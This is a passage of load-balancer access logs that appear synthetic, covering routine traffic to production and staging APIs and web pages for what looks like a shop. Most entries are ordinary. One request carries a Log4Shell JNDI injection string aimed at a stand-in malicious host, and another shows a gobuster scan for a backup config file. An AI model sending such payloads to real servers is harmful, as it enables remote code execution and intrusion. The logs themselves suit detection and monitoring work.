Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdc6-5f1df3d9a9d640b78b2e1543" "prod-api-alb.example.com" "-" 8 2024-11-01T01:34:46.399171Z "forward" "-" "-" "10.0.234.110:443" "200" "-" "-" -https 2024-11-01T01:34:47.876598Z prod-api-alb 24.166.216.59:36130 10.0.129.193:443 0.058825 0.034969 0.046681 200 200 343 9533 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdc7-95295e4658dd46d2a64ec80b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:34:47.876598Z "forward" "-" "-" "10.0.129.193:443" "200" "-" "-" -http 2024-11-01T01:34:48.544805Z staging-alb 42.105.14.236:12444 99.246.190.237:80 0.092024 0.183428 0.038985 301 301 337 14874 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdc8-cf3b29b11b354616bbe3fb83" "staging-alb.example.com" "-" 4 2024-11-01T01:34:48.544805Z "forward" "-" "-" "99.246.190.237:80" "301" "-" "-" -https 2024-11-01T01:34:50.508882Z prod-api-alb 174.59.52.207:36032 10.0.77.28:443 0.098274 0.489806 0.071469 302 302 703 4636 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdca-fd95712e33dc41469e99b9d4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:34:50.508882Z "forward" "-" "-" "10.0.77.28:443" "302" "-" "-" -https 2024-11-01T01:34:52.098113Z staging-alb 159.114.117.137:28150 18.113.172.194:80 0.004871 0.141138 0.115086 404 404 335 11115 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdcc-9cd17c1cca254817acc171bf" "staging-alb.example.com" "-" 10 2024-11-01T01:34:52.098113Z "forward" "-" "-" "18.113.172.194:80" "404" "-" "-" -https 2024-11-01T01:34:52.815210Z prod-api-alb 57.121.74.87:31179 10.0.176.72:443 0.015029 0.452558 0.070753 200 200 450 8082 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdcc-224b45f674424075b99d20e6" "prod-api-alb.example.com" "-" 8 2024-11-01T01:34:52.815210Z "forward" "-" "-" "10.0.176.72:443" "200" "-" "-" -https 2024-11-01T01:34:54.742356Z staging-alb 79.108.55.229:36808 135.231.60.56:8080 0.020871 0.024434 0.046878 200 200 455 11843 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdce-01f32e07d908406d85e4fdc6" "staging-alb.example.com" "-" 0 2024-11-01T01:34:54.742356Z "forward" "-" "-" "135.231.60.56:8080" "200" "-" "-" -https 2024-11-01T01:34:55.750616Z prod-web-alb 227.202.102.32:27096 10.0.81.251:443 0.077505 0.445063 0.004915 200 200 149 1130 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdcf-6200cb61061d4f618d977cab" "prod-web-alb.example.com" "-" 5 2024-11-01T01:34:55.750616Z "forward" "-" "-" "10.0.81.251:443" "200" "-" "-" -https 2024-11-01T01:34:57.410281Z prod-web-alb 176.177.216.200:43965 10.0.218.75:443 0.076323 0.165731 0.067265 404 404 920 11099 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd1-09ceec5c330f4921a8386fc9" "prod-web-alb.example.com" "-" 7 2024-11-01T01:34:57.410281Z "forward" "-" "-" "10.0.218.75:443" "404" "-" "-" -https 2024-11-01T01:34:58.830353Z prod-web-alb 65.84.199.124:45155 10.0.5.60:443 0.072170 0.018646 0.041322 200 200 501 11614 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd2-1510e0374c224b31890a4c67" "prod-web-alb.example.com" "-" 0 2024-11-01T01:34:58.830353Z "forward" "-" "-" "10.0.5.60:443" "200" "-" "-" -https 2024-11-01T01:35:00.763939Z staging-alb 75.174.211.163:27731 137.83.43.24:443 0.140488 0.371730 0.073464 200 200 216 13082 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdd4-4af20d05b21d400c9a120251" "staging-alb.example.com" "-" 4 2024-11-01T01:35:00.763939Z "forward" "-" "-" "137.83.43.24:443" "200" "-" "-" -https 2024-11-01T01:35:01.211634Z prod-web-alb 6.188.163.57:56350 10.0.203.168:443 0.067030 0.488594 0.088616 301 301 141 4493 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdd5-458166b5a8984984b59ac9ab" "prod-web-alb.example.com" "-" 4 2024-11-01T01:35:01.211634Z "forward" "-" "-" "10.0.203.168:443" "301" "-" "-" -https 2024-11-01T01:35:02.849573Z prod-api-alb 194.232.107.178:52588 10.0.59.91:443 0.027688 0.421775 0.091116 200 200 313 8926 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdd6-b2ce3c4073af40d08de2a8be" "-" "-" 10 2024-11-01T01:35:02.849573Z "forward" "-" "-" "10.0.59.91:443" "200" "-" "-" -https 2024-11-01T01:35:03.895890Z prod-web-alb 193.27.228.48:41007 10.0.99.158:443 0.009039 0.099773 0.082934 403 403 183 3212 "GET /config.php~ HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd7-90a1d01f8c2b4e4f8d91841d" "-" "-" 10 2024-11-01T01:35:03.895890Z "forward" "-" "-" "10.0.99.158:443" "403" "-" "-" -https 2024-11-01T01:35:05.850694Z prod-web-alb 96.245.48.136:48874 10.0.255.110:443 0.059337 0.084558 0.079529 302 302 150 4894 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd9-582e4ae5b6414ea6a0be1c0d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:35:05.850694Z "forward" "-" "-" "10.0.255.110:443" "302" "-" "-" -https 2024-11-01T01:35:07.050162Z staging-alb 177.167.236.40:59190 216.58.13.110:8080 0.044255 0.106355 0.053853 404 404 802 1085 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cddb-2c783bef6b704026aac0dd2e" "staging-alb.example.com" "-" 6 2024-11-01T01:35:07.050162Z "forward" "-" "-" "216.58.13.110:8080" "404" "-" "-" -http 2024-11-01T01:35:08.036508Z staging-alb 56.67.88.172:11436 201.199.231.125:8080 0.019388 0.544053 0.142270 302 302 682 5010 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cddc-0ec5851a365e4d10be0511f7" "staging-alb.example.com" "-" 3 2024-11-01T01:35:08.036508Z "forward" "-" "-" "201.199.231.125:8080" "302" "-" "-" -https 2024-11-01T01:35:09.548635Z staging-alb 190.64.172.92:23177 82.66.92.10:8080 0.046010 0.584846 0.092501 404 404 428 14013 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cddd-562065e69a644f4798a6ccdb" "staging-alb.example.com" "-" 5 2024-11-01T01:35:09.548635Z "forward" "-" "-" "82.66.92.10:8080" "404" "-" "-" -https 2024-11-01T01:35:10.466523Z prod-web-alb 15.249.50.230:27447 10.0.200.166:443 0.000891 0.205469 0.086668 200 200 409 8278 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdde-2d9ad601c1a643039bb02caa" "prod-web-alb.example.com" "-" 3 2024-11-01T01:35:10.466523Z "forward" "-" "-" "10.0.200.166:443" "200" "-" "-" -https 2024-11-01T01:35:10.735449Z staging-alb 14.209.174.246:59866 106.250.93.124:443 0.052334 0.208116 0.147196 404 404 8 5642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdde-535d85ee0d5b48678bfe1a09" "staging-alb.example.com" "-" 4 2024-11-01T01:35:10.735449Z "forward" "-" "-" "106.250.93.124:443" "404" "-" "-" -https 2024-11-01T01:35:10.910289Z prod-api-alb 223.216.35.185:52060 10.0.173.174:443 0.076895 0.073930 0.086959 200 200 906 7840 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdde-38a46848470441239a721ef1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:10.910289Z "forward" "-" "-" "10.0.173.174:443" "200" "-" "-" -http 2024-11-01T01:35:12.223614Z staging-alb 25.110.140.177:46495 97.48.179.24:443 0.122551 0.181331 0.018565 301 301 866 4855 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cde0-37ce7ce393d345c297c2ebeb" "staging-alb.example.com" "-" 7 2024-11-01T01:35:12.223614Z "forward" "-" "-" "97.48.179.24:443" "301" "-" "-" -https 2024-11-01T01:35:14.147013Z prod-api-alb 184.252.183.239:21459 10.0.111.171:443 0.069837 0.127089 0.003209 301 301 160 717 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde2-e799100ea786472bb97d098a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:35:14.147013Z "forward" "-" "-" "10.0.111.171:443" "301" "-" "-" -https 2024-11-01T01:35:14.807609Z prod-api-alb 227.217.34.235:63331 10.0.212.99:443 0.057551 0.298033 0.045193 200 200 63 7845 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde2-c5f5acfd3c4c4d9aa180018f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:14.807609Z "forward" "-" "-" "10.0.212.99:443" "200" "-" "-" -https 2024-11-01T01:35:15.838981Z prod-api-alb 216.177.63.110:29815 10.0.50.176:443 0.002907 0.453040 0.007393 301 301 582 5527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde3-6882e50ded64474195a5389b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:35:15.838981Z "forward" "-" "-" "10.0.50.176:443" "301" "-" "-" -https 2024-11-01T01:35:16.624960Z prod-api-alb 156.86.58.112:54443 10.0.38.48:443 0.046191 0.297579 0.099822 200 200 342 3747 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde4-6aa2c8975e4446aca293101c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:16.624960Z "forward" "-" "-" "10.0.38.48:443" "200" "-" "-" -https 2024-11-01T01:35:18.352714Z prod-api-alb 151.113.118.174:31797 10.0.171.80:443 0.070063 0.288653 0.099467 301 301 185 14834 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cde6-9a741ce7f43d486fabb2c00f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:35:18.352714Z "forward" "-" "-" "10.0.171.80:443" "301" "-" "-" -https 2024-11-01T01:35:19.369913Z prod-web-alb 230.87.191.179:16567 10.0.2.23:443 0.070605 0.323591 0.061673 200 200 217 14806 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cde7-3c135ea19db74afbaf91270b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:35:19.369913Z "forward" "-" "-" "10.0.2.23:443" "200" "-" "-" -https 2024-11-01T01:35:20.236382Z prod-api-alb 170.3.100.94:18148 10.0.101.201:443 0.057307 0.174151 0.061273 200 200 214 1956 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde8-46d372f4fec14b169b3a57a2" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:20.236382Z "forward" "-" "-" "10.0.101.201:443" "200" "-" "-" -https 2024-11-01T01:35:21.909660Z staging-alb 71.94.104.62:49170 43.223.134.88:8080 0.143773 0.203848 0.110347 301 301 310 6586 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cde9-6ae5cf5ffd664249ae521e22" "staging-alb.example.com" "-" 8 2024-11-01T01:35:21.909660Z "forward" "-" "-" "43.223.134.88:8080" "301" "-" "-" -https 2024-11-01T01:35:22.796007Z prod-web-alb 247.32.45.189:44766 10.0.96.249:443 0.001645 0.275098 0.076208 200 200 716 8922 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdea-82757b47caa64725a4158c33" "prod-web-alb.example.com" "-" 7 2024-11-01T01:35:22.796007Z "forward" "-" "-" "10.0.96.249:443" "200" "-" "-" -http 2024-11-01T01:35:23.534764Z staging-alb 141.251.236.75:24453 237.195.42.39:8080 0.103143 0.220601 0.058552 200 200 676 14784 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdeb-a2940f82f1e3491281436637" "staging-alb.example.com" "-" 9 2024-11-01T01:35:23.534764Z "forward" "-" "-" "237.195.42.39:8080" "200" "-" "-" -https 2024-11-01T01:35:24.746551Z prod-web-alb 167.4.204.35:18052 10.0.170.111:443 0.035065 0.164624 0.037872 301 301 611 9318 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdec-6d5b0ebcc3b9498f8ab1dcd9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:35:24.746551Z "forward" "-" "-" "10.0.170.111:443" "301" "-" "-" -https 2024-11-01T01:35:26.102043Z prod-api-alb 148.64.200.162:48430 10.0.201.213:443 0.021154 0.125404 0.035233 200 200 125 12124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdee-6b702e01c7bc4126b4abeb07" "prod-api-alb.example.com" "-" 7 2024-11-01T01:35:26.102043Z "forward" "-" "-" "10.0.201.213:443" "200" "-" "-" -http 2024-11-01T01:35:27.431741Z staging-alb 2.167.172.60:24011 228.77.91.208:8080 0.063313 0.259797 0.061841 404 404 441 9300 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdef-766aea3bbddc429495404cd9" "staging-alb.example.com" "-" 5 2024-11-01T01:35:27.431741Z "forward" "-" "-" "228.77.91.208:8080" "404" "-" "-" -https 2024-11-01T01:35:28.004759Z staging-alb 45.155.205.243:47138 175.101.239.166:443 0.025240 0.232649 0.067597 500 500 871 8571 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf0-8706a42b7e9f4d049fd70052" "-" "-" 7 2024-11-01T01:35:28.004759Z "forward" "-" "-" "175.101.239.166:443" "500" "-" "-" -https 2024-11-01T01:35:29.544869Z prod-api-alb 16.189.93.117:39121 10.0.15.235:443 0.044608 0.343805 0.080729 200 200 525 5333 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf1-e30b654d789d41b0b9a4dfcd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:29.544869Z "forward" "-" "-" "10.0.15.235:443" "200" "-" "-" -http 2024-11-01T01:35:30.647817Z staging-alb 50.6.171.46:22979 252.102.133.175:443 0.050461 0.045741 0.061307 301 301 997 14015 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf2-8d0dac5c9093408ea3b8d005" "-" "-" 2 2024-11-01T01:35:30.647817Z "forward" "-" "-" "252.102.133.175:443" "301" "-" "-" -https 2024-11-01T01:35:30.855194Z staging-alb 94.123.240.142:47860 17.192.162.27:443 0.089714 0.092355 0.025860 200 200 954 12261 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf2-3d46a2d8bf1f40068669b417" "staging-alb.example.com" "-" 0 2024-11-01T01:35:30.855194Z "forward" "-" "-" "17.192.162.27:443" "200" "-" "-" -https 2024-11-01T01:35:32.287752Z staging-alb 128.59.82.161:31953 167.142.20.32:443 0.019927 0.349770 0.021387 301 301 783 13735 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdf4-a2a8c0e1e22445deb7e043a6" "staging-alb.example.com" "-" 2 2024-11-01T01:35:32.287752Z "forward" "-" "-" "167.142.20.32:443" "301" "-" "-" -https 2024-11-01T01:35:33.077238Z prod-web-alb 186.69.94.209:24777 10.0.104.15:443 0.036227 0.294113 0.026400 200 200 906 3741 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdf5-cb56a7a6d9b1460eaf8bd960" "prod-web-alb.example.com" "-" 8 2024-11-01T01:35:33.077238Z "forward" "-" "-" "10.0.104.15:443" "200" "-" "-" -https 2024-11-01T01:35:34.482764Z prod-api-alb 52.246.209.190:48817 10.0.139.63:443 0.072454 0.011387 0.025540 302 302 209 1639 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf6-7bfc13a83faf4877bda05002" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:34.482764Z "forward" "-" "-" "10.0.139.63:443" "302" "-" "-" -https 2024-11-01T01:35:34.984920Z prod-web-alb 134.31.106.81:41631 10.0.156.234:443 0.027799 0.413475 0.047909 200 200 428 6374 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdf6-74022dd3e4dd4a0f8c88c94d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:35:34.984920Z "forward" "-" "-" "10.0.156.234:443" "200" "-" "-" -http 2024-11-01T01:35:36.916159Z staging-alb 151.19.211.137:49283 67.131.105.16:80 0.123882 0.376007 0.003189 301 301 858 4871 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdf8-5ad2122ec44848dfa55be0a4" "staging-alb.example.com" "-" 10 2024-11-01T01:35:36.916159Z "forward" "-" "-" "67.131.105.16:80" "301" "-" "-" -https 2024-11-01T01:35:37.078187Z prod-web-alb 159.12.221.252:47908 10.0.59.253:443 0.010047 0.351764 0.052533 200 200 362 11890 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdf9-857129e93cd84a09b26656b3" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:37.078187Z "forward" "-" "-" "10.0.59.253:443" "200" "-" "-" -https 2024-11-01T01:35:37.727747Z prod-api-alb 200.107.45.104:33518 10.0.87.22:443 0.060688 0.082622 0.031560 200 200 232 14546 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf9-c20babd96bb549dfb24fde79" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:37.727747Z "forward" "-" "-" "10.0.87.22:443" "200" "-" "-" -https 2024-11-01T01:35:38.493910Z prod-web-alb 251.43.201.7:44795 10.0.229.248:443 0.027299 0.019224 0.024848 301 301 358 12486 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdfa-a1a9654913df42bb9be3dd21" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:38.493910Z "forward" "-" "-" 